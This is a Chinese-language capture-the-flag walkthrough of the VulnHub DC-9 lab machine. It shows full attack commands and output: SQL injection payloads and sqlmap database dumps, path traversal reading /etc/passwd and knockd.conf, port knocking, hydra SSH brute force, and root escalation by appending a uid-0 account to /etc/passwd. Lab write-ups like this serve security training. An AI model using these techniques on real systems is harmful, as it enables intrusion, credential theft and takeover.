前言
这次练习的靶机是vulnhub平台下的DC系列靶机第9台，也是最后一台。下载地址为https://www.vulnhub.com/entry/dc-9,412/。挑战该靶机的最终目的是获取root权限，然后读取唯一的flag。这台靶机的难度为中等，其关键点是需要知道knockd服务。建议在挑战该靶机之前了解一下knockd服务。
虚拟机配置
这次采用的网络连接模式依然是NAT模式，为了避免扫描到其他物理主机。在导入虚拟机后，右击DC-9靶机，然后选中配置。依次点击网络配置->NAT模式->高级->生成，然后确认即可。
收集信息
nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24
-sn 代表存活主机扫描，不进行端口测探。
–min-parallelism 代表调整探测报文的并行度，也就是在扫描同一台主机时会发送很多个探测数据包，这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小，也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考：https://zhuanlan.zhihu.com/p/322244582，关于nmap的一些性能参数的学习。
┌──(root💀kali)-[~]
└─# nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-04 20:54 EDT
Stats: 0:00:09 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
Parallel DNS resolution of 3 hosts. Timing: About 66.67% done; ETC: 20:54 (0:00:04 remaining)
Nmap scan report for 192.168.119.2
Host is up (0.00013s latency).
MAC Address: 00:50:56:E6:BD:97 (VMware)
Nmap scan report for 192.168.119.172
Host is up (0.00044s latency).
MAC Address: 00:0C:29:BD:2D:31 (VMware)
Nmap scan report for 192.168.119.254
Host is up (0.00018s latency).
MAC Address: 00:50:56:E8:75:E7 (VMware)
Nmap scan report for 192.168.119.130
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 12.64 seconds
发现靶机的IP地址为 192.168.119.172，然后用nmap对靶机进行详细地扫描。
nmap -A -sV -p- --min-parallelism 100 192.168.119.172
-A 代表综合性扫描，能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口，后面的
-代表所有端口。
┌──(root💀kali)-[~]
└─# nmap -A -sV -p- --min-parallelism 100 192.168.119.172
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-04 20:55 EDT
Nmap scan report for 192.168.119.172
Host is up (0.00068s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:BD:2D:31 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.68 ms 192.168.119.172
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds
发现开放了 80端口，其中22端口被过滤，这里就猜测可能是靶机应用了knockd服务把22端口关闭，需要访问特定的端口序列后才会开放22端口。关于ssh保护的详细内容可以参考：https://www.cnblogs.com/rongfengliang/p/10904061.html，保护ssh的三把锁。
SQL注入漏洞
先到web上看看以寻找突破口，用浏览器打开该该网站。
点击导航栏上的Manage后发现了一个登陆页面，尝试一下暴力破解，没有成功。
点击导航栏上的Search后发现了一个输入框，首先简单判断一下这里是否存在sql注入，尝试输入1' or 1=1#，发现搜索出了很多结果。
然后再次输入1' or 1=2#，发现没有搜索到任何结果，说明此处存在sql注入。
该SQL注入点为post提交方式，所以我们可以先用burpsuite抓取在search页面提交的数据，然后右击鼠标，然后点击 Copy to file，保存为一个文件。
然后用sqlmap读取该文件对目标网站进行攻击。
sqlmap -l target --dump --batch
-l 代表从burpsuite保存的文件中读取攻击目标，也可以用-r参数代替。
target 是刚刚用burpsuite保存的文件的名称。
–dump 代表读取数据库中所有内容
–batch 表示自动化运行，不会给出选项供用户选择。
┌──(root💀kali)-[~/Documents/DC-9]
└─# sqlmap -l target --dump --batch
do you want to crack them via a dictionary-based attack? [y/N/q] N
Database: Staff
Table: Users
[1 entry]
+--------+----------------------------------+----------+
| UserID | Password | Username |
+--------+----------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+--------+----------------------------------+----------+
[21:35:48] [INFO] table 'Staff.Users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.119.172/dump/Staff/Users.csv'
[21:35:48] [INFO] fetching columns for table 'StaffDetails' in database 'Staff'
[21:35:48] [INFO] fetching entries for table 'StaffDetails' in database 'Staff'
Database: Staff
Table: StaffDetails
[17 entries]
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| id | email | phone | lastname | reg_date | firstname | position |
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| 1 | marym@example.com | 46478415155456 | Moe | 2019-05-01 17:32:00 | Mary | CEO |
| 2 | julied@example.com | 46457131654 | Dooley | 2019-05-01 17:32:00 | Julie | Human Resources |
| 3 | fredf@example.com | 46415323 | Flintstone | 2019-05-01 17:32:00 | Fred | Systems Administrator |
| 4 | barneyr@example.com | 324643564 | Rubble | 2019-05-01 17:32:00 | Barney | Help Desk |
| 5 | tomc@example.com | 802438797 | Cat | 2019-05-01 17:32:00 | Tom | Driver |
| 6 | jerrym@example.com | 24342654756 | Mouse | 2019-05-01 17:32:00 | Jerry | Stores |
| 7 | wilmaf@example.com | 243457487 | Flintstone | 2019-05-01 17:32:00 | Wilma | Accounts |
| 8 | bettyr@example.com | 90239724378 | Rubble | 2019-05-01 17:32:00 | Betty | Junior Accounts |
| 9 | chandlerb@example.com | 189024789 | Bing | 2019-05-01 17:32:00 | Chandler | President - Sales |
| 10 | joeyt@example.com | 232131654 | Tribbiani | 2019-05-01 17:32:00 | Joey | Janitor |
| 11 | rachelg@example.com | 823897243978 | Green | 2019-05-01 17:32:00 | Rachel | Personal Assistant |
| 12 | rossg@example.com | 6549638203 | Geller | 2019-05-01 17:32:00 | Ross | Instructor |
| 13 | monicag@example.com | 8092432798 | Geller | 2019-05-01 17:32:00 | Monica | Marketing |
| 14 | phoebeb@example.com | 43289079824 | Buffay | 2019-05-01 17:32:02 | Phoebe | Assistant Janitor |
| 15 | scoots@example.com | 454786464 | McScoots | 2019-05-01 20:16:33 | Scooter | Resident Cat |
| 16 | janitor@example.com | 65464646479741 | Trump | 2019-12-23 03:11:39 | Donald | Replacement Janitor |
| 17 | janitor2@example.com | 47836546413 | Morrison | 2019-12-24 03:41:04 | Scott | Assistant Replacement Janitor |
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
[21:35:48] [INFO] table 'Staff.StaffDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.119.172/dump/Staff/StaffDetails.csv'
[21:35:48] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-09042021_0935pm.csv'
要注意的是此处只查询出了数据库Staff中的内容。该网站还有一个名为users的数据库，该库中保存着一些账号和密码，可以在后面用来进行ssh的爆破。
现在已经获取了admin的md5加密的密文856f5de590ef37314e7c3bdf6f8a66dc，尝试在https://www.somd5.com/破解该密码。
现在已经获取了admin的密码transorbital1，登陆网站后台进行进一步渗透。
文件包含漏洞
登陆网站后台后发现底部有一行文字 File does not exist，估计这个页面是可以用过参数控制文件包含内容。
控制文件包含的参数可以尝试常用的file,include,require等常见参数，包含内容可以使用/etc/passwd来尝试，但是没有包含成功。最后改用burpsuite+字典进行爆破。
文件内容的字典可以使用 kali自带的字典/usr/share/wordlists/wfuzz/vulns/dirTraversal-nix.txt。字典跑完后点击Length进行排序，文件长度最长的请求应该就是文件包含成功了。
然后在浏览器中访问该地址，发现包含文件成功。
http://192.168.119.172/manage.php?file=../../../..//etc/passwd
knockd服务
猜测该靶机使用了knockd服务，首先来简单介绍一下knockd服务：当你的一个端口不想对外开放时可以通过knockd将它关闭，这样别人就无法直接访问这个端口。如果自己想访问这个端口，那么必须先按顺序访问指定的端口，并且这几步操作必须在一定时间内完成。当你在一定之间内按顺序访问了指定端口后，被关闭的端口就会对你开放一段时间。更详细的内容可以参考：https://www.cnblogs.com/rongfengliang/p/10904061.html，保护ssh的三把锁。
如果开启了knockd服务，那么会存在一个配置文件/etc/knockd.conf，该配置文件中保存着需要访问的端口顺序。我们可以通过文件包含漏洞查看该配置文件。
http://192.168.119.172/manage.php?file=../../../..//etc/knockd.conf
根据配置文件的显示，我们需要依次访问7469、8475、9842端口才能访问ssh服务。现在需要在本地安装 knockd程序，我们可以通过knockd程序对靶机的指定端口按顺序访问。
apt install knockd
knock 192.168.119.172 7469 8475 9842
现在可以访问靶机的22端口了，所以现在尝试对靶机的ssh密码进行爆破。
爆破ssh密码
在爆破之前需要准备好字典，在数据库的users库中存在着一些账号和密码，用sqlmap把这些信息查询出来，做成字典。
sqlmap -l target -D users --dump --batch
-D 指定需要查询的库
┌──(root💀kali)-[~/Documents/DC-9]
└─# sqlmap -l target -D users --dump --batch
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
[22:27:26] [INFO] table 'users.UserDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.119.172/dump/users/UserDetails.csv'
[22:27:26] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-09042021_1027pm.csv'
将所有账号保存在user.txt中，将所有密码保存在文件pass.txt中。然后使用hydra对ssh进行爆破。
hydra -L user.txt -P pass.txt ssh://192.168.119.172
-L 指定账号文件字典，如果需要指定单个账号则使用小写的-l
-P 指定密码文件字典，如果需要指定单个密码则使用小写的-p
┌──(root💀kali)-[~/Documents/DC-9]
└─# hydra -L user.txt -P pass.txt ssh://192.168.119.172
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-04 22:43:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 361 login tries (l:19/p:19), ~23 tries per task
[DATA] attacking ssh://192.168.119.172:22/
[22][ssh] host: 192.168.119.172 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.119.172 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.119.172 login: janitor password: Ilovepeepee
[STATUS] 363.00 tries/min, 363 tries in 00:01h, 1 to do in 00:01h, 14 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-04 22:44:26
成功获取了三个账号的密码：login: chandlerb password: UrAG0D!，login: joeyt password: Passw0rd，login: janitor password: Ilovepeepee。
提权
经过测试前两个账号没有发现什么特殊文件，也无法提权。登陆janitor账号后，在文件~/.secrets-for-putin中发现了一个密码文件passwords-found-on-post-it-notes.txt。
ssh janitor@192.168.119.172
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
┌──(root💀kali)-[~/Documents/DC-9]
└─# ssh janitor@192.168.119.172
janitor@192.168.119.172's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 5 12:48:56 2021 from 192.168.119.130
janitor@dc-9:~$ ls -la
total 16
drwx------ 4 janitor janitor 4096 Sep 5 12:44 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Sep 5 12:44 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
janitor@dc-9:~$ cd .secrets-for-putin
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
查看这个文件中的密码，把这些密码保存在一个文件 pass2.txt中，并再次使用hydra进行ssh的爆破。
hydra -L user.txt -P pass2.txt ssh://192.168.119.172
└─# hydra -L user.txt -P pass2.txt ssh://192.168.119.172
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-04 22:56:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 114 login tries (l:19/p:6), ~8 tries per task
[DATA] attacking ssh://192.168.119.172:22/
[22][ssh] host: 192.168.119.172 login: fredf password: B4-Tru3-001
[22][ssh] host: 192.168.119.172 login: joeyt password: Passw0rd
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-04 22:56:48
爆破出了一个新的账号密码 login: fredf password: B4-Tru3-001，登陆这个账号尝试一下提权操作。
ssh fredf@192.168.119.172
sudo -l
┌──(root💀kali)-[~/Documents/DC-9]
└─# ssh fredf@192.168.119.172
fredf@192.168.119.172's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
fredf@dc-9:~$
发现fredf可以使用超级权限执行test，尝试着执行一下test。
/opt/devstuff/dist/test/test
执行后出现了以下内容：
fredf@dc-9:~$ /opt/devstuff/dist/test/test
Usage: python test.py read append
看这个内容猜测它的功能是追加内容到一个文件中去，最后在 /opt/devstuff中发现了一个文件 test.py，这个Python便是test的源码，查看这个源码分析test的功能与使用方法。
fredf@dc-9:/opt/devstuff/dist$ cd /opt/devstuff/
fredf@dc-9:/opt/devstuff$ ls
build dist __pycache__ test.py test.spec
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
fredf@dc-9:/opt/devstuff$
查看源码发现这个程序的功能是将参数1文件内容追加到参数2文件中。所以我们可以将一个账号信息追加到 /etc/passwd中。
/etc/passwd 保存着所有账号的信息，可以通过在该文件中添加一个具有root权限的账号信息来获取root权限。
首先我们来了解一下/etc/passwd内容的格式，以root为例:
root:x:0:0:root:/root:/bin/bash字段1： 用户名。
字段2：密码占位符，x代表有密码，也可以直接填入密码的密文。
字段3：用户的uid，如果一个用户uid为0则表示该用户超级管理员。
字段4：用户的gid，也就是所属用户组的id。
字段5：用户信息（弃用）。
字段6：用户家目录。
字段7：用户登陆系统后使用的shell。
然后通过openssl生成密码密文。
openssl passwd -1 -salt rpsate rpsate
passwd 代表生成密码的密文。
-1 代表使用MD5的加密方法。
-salt 代表密码加盐。
第一个rpsate是账号，第二个rpsate是密码。
更详细的内容可以参考https://blog.csdn.net/jiajiren11/article/details/80376371,/etc/shadow中密码段的生成方式
┌──(root💀kali)-[~/Documents/DC-9]
└─# openssl passwd -1 -salt rpsate rpsate
$1$rpsate$2r3jb6WfuHP8DFRd31cUF1
所以我们将 rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash追加到 /etc/passwd即可。现将这一字符串写入一个文件中，然后再通过test程序来追加到/etc/passwd。
经过测试字段6用户家目录必须加上，否则无法识别到账号。
字段2密码一栏不能为空，否则不能认证成功，上面字段2是密码rpsate加密后的密文。
echo 'rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash' > /tmp/a
sudo /opt/devstuff/dist/test/test /tmp/a /etc/passwd
fredf@dc-9:/opt/devstuff$ echo 'rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash' > /tmp/a
fredf@dc-9:/opt/devstuff$ sudo /opt/devstuff/dist/test/test /tmp/a /etc/passwd
fredf@dc-9:/opt/devstuff$ tail /etc/passwd
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash
发现现在已经将rpsate账号信息写入了/etc/passwd，现在可以跳转到具有root权限的账号rpsate了。
su rpsate
cat /root/theflag.txt
fredf@dc-9:/opt/devstuff$ su rpsate
Password:
root@dc-9:/opt/devstuff# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-9:/opt/devstuff# cd /root
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt
███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝
Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.
提权成功！
参考文献
[1] https://zhuanlan.zhihu.com/p/322244582，关于nmap的一些性能参数的学习。
[2] https://zhuanlan.zhihu.com/p/112172905，vulnHub-DC9
[3] https://www.cnblogs.com/rongfengliang/p/10904061.html，保护 SSH 的三把锁
[4] https://blog.csdn.net/jiajiren11/article/details/80376371，/etc/shadow中密码段的生成方式